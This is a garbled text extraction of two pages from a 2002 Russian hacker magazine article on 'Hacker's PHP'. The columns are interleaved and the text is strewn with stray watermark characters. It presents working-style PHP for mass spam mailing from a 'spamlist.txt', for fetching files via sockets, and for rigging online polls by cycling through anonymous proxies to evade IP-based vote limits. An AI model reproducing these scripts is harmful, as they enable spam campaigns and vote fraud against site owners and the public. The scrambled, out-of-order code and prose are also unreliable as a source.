 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

собственные рассылки, не используя

уровне приложения сводится к отправке серверу запроса и по-

$mail->body="Держи файл!";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

оборзевший subscribe.ru. Как бы то ни бы-

лучения ответа на него. Для этого PHP (и многие другие языки)

 

$mail->add_attachment($data, $file,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ло, если производить рассылку писем, то

используют сокеты Беркли (Berkeley), которые служат интер-

 

$content_type);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

фейсом общего назначения для сетевых транспортных служб.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с сервака:

 

$mail->send();

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сокеты являются конечными пунктами связи; в системе клиент-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<?

сервер клиент является одной сокетой, а сервер - другой. Эти

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

две точки связаны между собой абстрактным "каналом связи",

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$emails=file(spamlist.txt);

основанном на вполне реальном кабеле (радиоканале, спутнике,

И делов-то ;)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$c=count($emails);

чем угодно).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(!isset($i))

300 байт о том, что такое "Беркли". Это, прежде всего, город на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

территории США, в котором находится одноименный универси-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

НАКРУТКА ГОЛОСОВАНИЙ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тет. В 70-х годах минувшего века там трудилась небольшая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$i=1;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

группа талантливых программистов, возглавляемая Биллом

 

Ну вот и подошли к основной задаче.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

Джоем (Bill Joy). Основной их задачей было совершенствование

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$b=$i;

UNIX V6, которую они успешно решали, поочередно выпуская

 

Не так уж это просто - грамотно накру-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$b+=9;

все новые и новые версии пакетов Berkeley Software

 

тить голосование, ведь в абсолютном

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Distribution (BSD) Собственно, в процессе работы над первыми

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while($i<=$c && $i<=$b)

большинстве случаев voting-скрипт ве-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BSDями и была разработана технология

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

дет статистику по Ip-адресам голосо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mail("$emails[$i]", "Спам", "Йо! Посетите

 

 

 

 

вавших, дабы избежать повторных во-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мой мегакульный сайт: www.yo.ru");

 

 

 

 

леизъявлений. Есть, однако, аноним-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if($i==$b)

 

 

 

 

ные proxy-сервера, позволяющие ос-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

уж и быть, расскажу, как прикреплять к письму фай-

тавлять в логах разные ip'шники, что, зачастую, до-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

echo "<script>location='script.php?i=$i'</script>";

 

лы средствами PHP.

 

вольно эффективно. Но опять же, если накручивать с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

Наиболее просто задача решается использованием

сервера, притом желательно буржуйского, т.к. почти

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

уже написанного буржуйскими программистами

все проксики находятся за М9, а стало быть, связь с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

?>

 

class'à - "mime_mail".

 

ними лучше из забугорных каналов. Сразу скажу, это

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

довольно серьезная задача, под которую я наворотил

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СЛИВАЕМ ФАЙЛЫ

 

 

 

довольно сильный скрипт.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сценарий будет использовать в работе текстовый файл

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Иногда бывает необходимо закачать какой-нибудь

 

 

 

с адресами анонимных проксиков, где порт отделяется

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

большой (или не очень) файл на сайт с другого сер-

 

 

 

от хоста двоеточием. Например, 217.65.34.11:3128

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вера. Можно, конечно, сперва слить его к себе на

 

 

 

(адрес я придумал от балды). Следует заметить, что в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

комп, а потом upload'ить на сайт по FTP, но в этом

 

 

 

PHP нет как таковой поддержки proxy-серверов, поэто-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

случае ты дважды(!) перекачиваешь одну и ту же ин-

 

 

 

му мне пришлось слепить класс (class), позволяющий

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

формацию, что довольно глупо, ведь можно заста-

 

 

 

осуществлять работу через прокси. Приводить здесь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вить сам сервер скачать нужный тебе файл - без уча-

 

 

код класса я не буду - незачем; если тебе интересно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стия твоего компа как такового. Тема заезжена perl-

 

"phpclasses.phpclub.net"

 

ты ведь всегда его можешь посмотреть.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вариантами, а я расскажу, как это делается на PHP:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<?

 

Tips&Tricks

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$socket = fsockopen("127.0.0.1", 80); //коннект

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

fputs($socket,"GET /cd/1.exe HTTP/1.0\nHOST:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

cd\n\n"); //запрос

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while(fgets($socket,31337)!="\r\n" && !feof($socket)){

 

Для тонкой настройки Windows XP Professional существует специальная программа gpedit.msc (Пуск ->Вы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

unset($buffer); } //отбрасываем заголовок

 

полнить ->gpedit.msc). При помощи нее можно сделать кучу полезных вещей, например, убрать с рабочего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while(!feof($socket)) $buffer.=fread($socket, 1024);

 

стола значок корзины, забыть про пункт Справка в меню Пуск, отключить Active Desktop, убрать всплываю-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щие подсказки, запретить доступ к панели управления и т.д. и т.п. Все наиболее полезные возможности

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//читаем в переменную файл порциями по 1024 байт

 

этой проги расположены в папке Конфигурация пользователя/Административные шаблоны, в других папках

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$file_size=strlen($buffer); //считаем длину получив-

 

ничего интересного я не нашел. И еще, не ищи эту прогу в XP Home Edition, нет ее там.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шейся строки, т.е. файла

 

Zoom (zoom611@e-mail.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$f=fopen("download.exe","wb+");//собственно, пи-

 

Ведущий рубрики Tips&Tricks Иван Скляров (Sklyarov@real.xakep.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

øåì â ôàéë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Присылай мне свои трюки и советы, и, возможно, ты увидишь их на страницах ][. В конце года самый ак-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

fwrite($f, $buffer, $file_size);

 

тивный участник получит 100$.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Редакция журнала и ведущий рубрики не несут ответственности за советы, которые читатели дают друг другу ;).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

echo "Size of downloaded file:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$file_size<b><br><br>"; //вывод результата

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Взлом >25/07\02

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Западло... 6 Кодинг

7 JoyStick

8 Юниты

9 Quit>

 

 

 

 

 

 

47

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

P

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

<Page 048>

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

Взлом

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HACKER'S PHP

Никита Кислицин aka Nikitos (nikitoz@fromru.com)

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

ХАКЕР\¹43\Июль\2002P

 

 

 

 

 

i

 

D

 

 

 

 

 

 

 

r

 

 

 

 

 

NOW!

o

 

 

 

 

BUY

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Folder3 >

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$proxy_port=$pro[1];

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$prox->proxy_host="$proxy_host";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$prox->proxy_port="$proxy_port";

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$sockett=$prox->px("$host", "$url"); //пуск функции

 

 

 

 

 

 

 

 

 

 

 

 

 

 

из класса proxy

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if(!$sockett)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$problems.="\n<br>Проблема с этим проксиком:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$prox_arr[$i]"; //Если произошла ошибка...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

$i++;

 

 

 

"Результат работы накрутчика"

 

 

 

 

 

 

 

 

if($i==$b)

 

 

 

 

 

От пользователя скрипту передаются 2 параметра:

 

 

 

 

 

 

 

 

 

 

 

 

 

УРЛ до скрипта (без http://) со всеми передаваемы-

 

 

 

 

 

 

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ми ему переменными, включая идентификатор от-

 

 

 

 

 

 

 

 

echo "<script>location='script.php'</script>";

 

 

 

 

 

 

 

 

 

 

 

вета и количество требуемых "голосов" в поддержку

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

какого-то варианта ответа.

 

 

 

 

"Пример html-формы накрутчика"

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

 

 

 

 

Также необходим большой список proxy-серверов,

 

 

В этом class'e создана функция px(), принимающая

 

 

 

 

 

 

 

 

достав который, следует сразу отбросить все левые

 

 

 

Echo "Накрутка голосования успешно заверше-

 

 

 

 

 

 

адреса, для чего удобно поюзать специальные ути-

 

 

две обязательные переменные (хост и URL получае-

 

на.<br> В процессе накрутки произошли следую-

 

 

 

 

 

 

литки (либо же ничего не проверять: скрипт, в

 

 

мого файла) и одну необязательную (номер порта

 

щие ошибки: <br><b>$problems</b>";

 

 

 

 

 

 

 

 

 

принципе, сам все проверяет, правда, это несколь-

 

 

web-сервера, по умолчанию - 80). Этот класс -

 

 

 

 

 

 

}else

{

 

 

 

 

 

 

 

 

 

 

 

 

ко замедляет его выполнение :().

 

 

сердце нашего скрипта, поэтому начинается накрут-

 

echo "Здесь HTML-форма..."; }

 

 

 

 

 

 

 

 

 

Аналогично, как и в случае рассылки спама, выпол-

 

 

 

 

чик довольно стандартно:

 

 

 

?>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нение скрипта будет повторяться, покуда не иссяк-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нет список проксиков.

 

 

 

 

include"proxy.inc";

 

Используемые PHP-функции

 

 

 

 

 

 

 

 

$prox=new proxy;

 

 

 

 

 

САГА О ПРОТОКОЛАХ

 

 

?>

 

 

Краткий экскурс по функциям PHP, используемым в выше-

 

Ммм... А ты знаешь, как работает бро-

 

 

 

 

 

 

А вот продолжение... Я писал его минут

 

 

приведенных скриптах.

 

 

 

 

 

 

 

узер? :). Если ты подумал, что я говорю

 

 

Fsockopen (хост, порт, переменная с номерами ошибок, пе-

 

 

 

 

про вершину протоколов - про уровень

 

 

40(!) - постоянно что-то не работало ;). В

 

 

 

 

 

 

 

ременная с пояснением к ошибкам). Создает локальный со-

 

 

 

 

 

 

взаимодействия с пользователем ("ввел

 

 

итоге я приблизился если не к идеалу,

 

 

кет и пытается соединить его с удаленным. Если соединение

 

 

 

 

 

 

адрес, нажал на пимпу, все пучком" -

 

 

то, по крайней мере, рабочему варианту:

 

 

удачное, возвращает True, в противном случае - False.

 

 

 

 

 

 

 

 

 

Fopen (имя файла, режим работы с ним). Эта функция может

 

вот и весь протокол =)), то ты ошибся.

 

 

 

 

 

 

Я говорю про более низкоуровневые ве-

<?

 

 

открывать как локальный файл, так и удаленный (указыва-

 

 

 

ется url до него). Что касается режимов открытия, то тут ас-

 

щи - про уровень сокетов.

 

 

include "proxy.inc"; //Подключаем класс

 

 

 

 

 

 

 

сортимент стандартный:

 

 

 

 

 

 

 

HTTP-клиент, т.н. "броузер", соединяет-

 

 

$prox=new proxy; //делаем копию объ-

 

 

 

 

 

 

 

 

 

 

 

 

 

A - открыть для дополнения, данные допишутся в конец

 

 

 

 

 

 

ся с указанным сервером и начинает с

åêòà

 

 

 

 

 

файла;

 

 

 

 

 

 

 

 

 

 

 

ним общаться, отдавая серверу HTTP-

 

 

if(isset($submit)) //Нажата ли кнопка от-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

a+ - открыть для дополнения и чтения;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

команды, называемые также "метода-

 

 

правки формы?

 

 

 

 

 

 

 

 

 

 

 

r только чтение;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ми". За ними идет адрес документа на

 

 

{

 

 

 

 

 

 

 

 

 

 

 

 

 

r+ - данные дописываются в начало файла, причем поверх

 

сервере и версия протокола HTTP. Фор-

 

 

$prox_arr=file("proxies.txt"); //Режем в

 

 

 

 

 

 

 

старых;

 

 

 

 

 

 

 

 

 

 

мат строки запроса примерно такой:

 

 

массив файл с проксиками

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w - открывает файл для записи, содержимое файла уничто-

 

GET /index.html HTTP/1.0, здесь исполь-

 

 

$num_prox=count($prox_arr); //считаем

 

 

 

 

 

 

 

жается;

 

 

 

 

 

 

 

 

 

 

зуется метод GET для документа

 

 

количество элементов в массиве

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w+ - чтение и запись, все как в предыдущем случае;

 

 

 

 

 

 

 

 

index.html, очевидно, главной страницы

 

 

if(!isset($i)) //Если НЕ выставлена пере-

 

 

 

 

 

 

 

 

isset (имя переменной) - проверяет, определено ли значе-

 

сайта. Затем в заголовке клиент посы-

 

 

 

 

менная счетчика, выставляем

 

 

 

 

 

 

 

 

 

ние какой-то переменной, если определено - возвращает

 

лает на сервер необязательную инфор-

 

 

{ $i=0; }

 

 

 

 

 

 

 

true, в противном случае - False;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мацию о своей конфигурации и форма-

 

 

$ff=$i; //Доп. переменная

 

 

 

 

 

 

 

 

 

 

 

split()=explode ("разделитель", "строка") -

режет строку в

 

 

 

 

 

 

тах принимаемых документов. Инфор-

 

 

 

 

$ff+=9; //увеличиваем ее значение на 9

 

 

 

 

 

 

 

 

 

массив, используя указанный разделитель;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мация эта посылается построчно, стро-

 

 

$host_url=explode("\\", $url); //Разреза-

 

 

implode() - выполняет обратную функцию;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ки отделяются друг от друга последова-

 

 

ем введенный пользователем URL на

 

 

 

 

 

 

 

 

 

 

 

file (имя файла) - бьет содержимое файла в массив, исполь-

 

 

 

 

 

 

тельностью символов возврата каретки

хост и Адрес док-та

 

 

 

 

 

зуя в качестве разделителя символ новой строки, т.е \n.

 

 

 

 

 

 

и новой строки (\r\n), завершается за-

 

 

$host=$host_url[0];

 

 

Операторы сравнения, определения значений переменных:

 

 

 

 

 

 

 

 

прос пустой строкой. т.е. \r\n\r\n. Вот

 

 

$url=$host_url[1];

 

 

 

 

 

 

 

 

= - устанавливает значение переменной;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пример заголовка:

 

 

 

 

$num_prox--; //Снимаем единичку с

 

 

 

 

 

 

 

 

 

 

 

 

 

 

== - знак равенства (используются, в отличие от перла, для

 

 

 

 

 

 

 

 

 

 

 

 

 

числа элементов в массиве $num_prox

 

 

 

 

 

 

 

 

 

 

всех типов данных);

 

 

 

 

 

 

 

 

 

Accept: */*

 

 

(нумерация элементов в массиве начи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

!= - знак неравенства;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Connection: Keep-Alive

 

 

нается с 0)

 

 

 

 

 

 

 

 

 

 

 

 

 

! - знак отрицания, частица "не" Т.е., например, if(!fsock-

 

 

 

 

 

 

User-Agent: Megascript

 

 

while($i<=$ff && $i<=$num_prox)

 

 

 

 

 

 

 

open()) - показывает, что если коннект НЕ удался, то делать

 

Host: www.xakep.ru

{

 

 

 

 

 

íàäî òî-òî...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$pro=explode(":", $prox_arr[$i]); //режем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

адрес проксика на хост и порт

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

$proxy_host=$pro[0];//Определяем пе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ременные в классе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

< Взлом >25/07\02

48 Ньюсы 1 Феррум 2 PC_Zone 3 Взлом 4 Юниксоид

Соседние файлы в папке журнал хакер